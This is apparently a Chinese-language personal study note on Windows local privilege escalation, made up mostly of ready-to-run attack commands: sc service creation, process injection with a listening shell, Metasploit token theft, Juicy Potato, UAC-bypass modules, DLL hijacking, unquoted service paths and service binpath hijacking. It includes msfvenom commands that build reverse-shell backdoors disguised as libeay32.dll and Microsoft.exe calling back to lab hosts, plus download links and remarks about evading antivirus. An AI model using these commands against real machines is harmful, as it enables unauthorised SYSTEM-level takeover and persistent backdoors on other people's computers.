本地提权【笔记总结】
文章目录
- 服务命令
- at命令提权
- 介绍
- 适用版本
- 复现
- sc命令提权
- 介绍
- 适用版本
- 复现
- ps应用程序提权
- 复现
- 进程注入
- 进程迁移注入
- 介绍
- 条件
- 复现
- MSF自动化注入
- 介绍
- getsystem
- 原理
- 复现
- MSF令牌窃取
- 介绍
- 复现
- 烂土豆提权
- 介绍
- 适用版本
- 复现
- UAC绕过
- 介绍
- 复现
- 使用`ask模块`绕过
- 使用`bypassuac_sluihijack`模块绕过
- 使用`bypassuac_silentcleanup`模块绕过
- UACME工具绕过
- 工具下载
- 复现
- DLL劫持提权
- 介绍
- 原理
- DLL替换
- 路径不带引号绕过
- 复现
- DLL劫持
- 路径不带引号绕过
- 不安全服务
- 介绍
- 利用方式
- 复现
服务命令
-
at命令提权
-
sc命令提权
-
介绍
- sc是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于控制面板中管理工具项中的服务。
-
适用版本
- windows7、8、03、08、12、16(win2003 ok其他未测基本失败)
-
复现
-
创建服务,直接使用以下命令其中一条即可
-
sc create syscmd binPath= "cmd /K start" type= own type= interact start= demand error= normal sc Create syscmd binPath="cmd /K start" type = own type = interact
-
-
启动该服务,
sc start stscmd
-
-
-
ps应用程序提权
进程注入
-
进程迁移注入
-
介绍
- 进程迁移注入提权就是将获取到权限低的进程注入至进程中权限高的中,这样就实现了权限提升,同时注入进程提权相当于开启了一个后门, 隐蔽性极高,不会创建新的进程,很难发现。
-
条件
- 这里如果使用的是web权限是无法执行的,必须获取到类似与administrator的权限才能进行进程注入。同时这类提权是不会被杀毒软件拦截的,这是系统的一种特性。
-
复现
-
首先上传pinjector.exe工具
- 工具地址:https://pan.baidu.com/s/1S41aqaaEFsQ_ZrNvrWss1w?pwd=cong
-
使用工具列出所有进程
pinjector.exe -l
-
选择一个system权限运行的进程,对此pid进程执行注入,并建立侦听端口,
pinjector.exe -p <pid> cmd <port>
-
-
-
MSF自动化注入
MSF令牌窃取
-
介绍
- 首先需要生成一个木马然后让其上线,并连接上去,这里我就用之前已经生成好的木马,就不再生成了,在上面也提到过MSF生成木马的命令。
-
复现
-
先用msf生成后门,连接后门
-
使用一下命令即可
-
use incognito list_tokens -u #列出有的令牌 impersonate_token "NT AUTHORITY\SYSTEM" #窃取system令牌
-
-
-
烂土豆提权
-
介绍
-
烂土豆(Rotten Potato) MS16-075 提权是一个本地提权,只针对本地用户,不支持域用户。
欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端,对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的,模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
-
-
适用版本
- Windows 7/8/10,Windows server 2008/2012
-
复现
-
将工具上传至靶机
- 工具下载;Release Fresh potatoes · ohpe/juicy-potato (github.com)
-
使用msf工具执行以下命令
-
execute -cH -f ./potato.exe ##执行烂土豆程序 use incognito ##加载窃取功能 list_tokens -u ##查看可窃取的令牌 impersonate_token "NT AUTHORITY\SYSTEM" ##使用令牌
-
-
-
UAC绕过
-
介绍
- UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员密码。
- 也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限。如果我们通过某种方式劫持了通过用户UAC验证的程序,那么相应的我们的程序也就实现了提权的过程。
- 使用
msconfig
命令即可打开查看
-
复现
-
使用
ask模块
绕过-
搜索UAC,
search uac
,找一个喜欢的模块进行攻击 -
选好模块之后执行以下命令
-
use exploit/windows/local/ask ##选择模块 sessions ##查看后台进程 set session 1 ##选择进程 set lport 5555 ##设置监听端口,有时候返回回来会出现错误,所以就另起一个监听。
-
-
-
使用
bypassuac_sluihijack
模块绕过-
直接使用以下命令
-
use exploit/windows/local/bypassuac ##选择bypass sessions ##选择会话 set session 1 ##设定会话 set lport 5555 ##设定反弹端口,这里不设置也可以,但是有时候直接反弹回来,会出现反弹不成功的情况。 run ##执行
-
-
-
使用
bypassuac_silentcleanup
模块绕过-
直接使用以下命令即可
-
use exploit/windows/local/bypassuac_silentcleanup ##选择模块 sessions ##选择会话 set session 5 ##设置会话 set lport 6666 ##设置监听端口 run ##执行
-
-
-
UACME工具绕过
-
DLL劫持提权
-
介绍
- DLL劫持是一种安全攻击技术,它利用Windows操作系统在加载动态链接库(DLL)时的行为特点。在这种攻击中,攻击者将恶意的DLL文件放置在操作系统或应用程序预期加载合法DLL的位置。当应用程序或操作系统尝试加载其所需的DLL时,由于路径或加载顺序的问题,系统会错误地加载攻击者提供的恶意DLL。这可以使攻击者执行任意代码,从而实现提权或其他恶意行为。此技术常被用于绕过安全限制,获取更高的系统权限,或在系统中植入恶意软件。
-
原理
-
DLL替换
-
Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程序要查找的位置放置恶意 DLL 来提权。通常,Windows 应用程序有其预定义好的搜索 DLL 的路径。
它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录 Current Working Directory,CWD
6、在 PATH 环境变量的目录(先系统后用户)程序运行一般会加载系统dll或本身程序自带的dll,如果我们将程序执行时需要加载的dll文件替换成程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。
-
-
路径不带引号绕过
- 当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行路径,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
- 不过这个确实局限性还是很大的,比如虚拟机中没有找到这样的情况,实体机没有找到,客户现场机器也没找到…同时还有一个问题是就算有,很多都是在C盘中,如果基本权限不够大,那么也凉凉,也用不了。
-
-
复现
-
DLL劫持
-
工具下载: https://pan.baidu.com/s/1CQtyIl_utGbAAa5VrJdCzg?pwd=cong
-
首先先收集dll文件
-
这里会出现一个问题,没有远程桌面我们如何收集,这里其实有个很简单的办法就是,通过上线普通木马后,看看能不能查看有存在哪些服务,然后找到相关服务本地安装,安装后使用火绒剑等工具进行查找加载的dll文件即可。
像系统文件加载的dll我们是动不了的,我们一般能懂的都是未知文件和数字签名文件。
-
-
使用工具检测是否可以进行劫持
-
通过msf生成后门dll文件,
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.20 lport=5577 -f dll >libeay32.dll
-
使用msf监听5577端口
-
当靶机使用ftp时自动触发后门
-
-
路径不带引号绕过
-
通过
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
命令来寻找是否存在不带引号
和具有空格
的特征 -
利用msf生成后门,
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=5577 -f exe -o Microsoft.exe
-
启动监听,重启服务即可
-
没有独显成功,即使将杀毒软件关闭,系统也会自动清理掉这个病毒,因该需要做下免杀
-
-
不安全服务
-
介绍
- Windows服务有时被配置为与服务本身或与服务运行的目录相关的弱权限。这可能允许攻击者操纵服务,以便在其启动时执行任意代码,并将权限提升到SYSTEM。
-
利用方式
- 将服务的 binpath 更改为我们上传的木马文件路径,以便在服务启动时执行恶意代码从而获得system权限,这里可以利用accesschk.exe工具辅助实现。
- accesschk是一个windows系统配置检查工具,用于查看文件、注册表项、服务、进程、内核对象等的有效权限。该工具将有助于识别当前用户是否可以修改某个服务目录中的文件,由于它是微软官方出品,我们将其上传至靶机,执行不会受到阻碍。
-
复现
-
工具下载:accesschk.exe
-
查看工具帮助,
accesschk.exe /accepteula
-
查看用户可以修改哪些服务的权限,
accesschk.exe -uwcqv "Administrators" *
-
修改服务路径,
sc config napagent binpath= "C:\Microsoft.exe"
(Microsoft.exe为木马) -
启动监听和启动服务
- 并不是system服务,其次很容易掉线,可能是选错了服务
-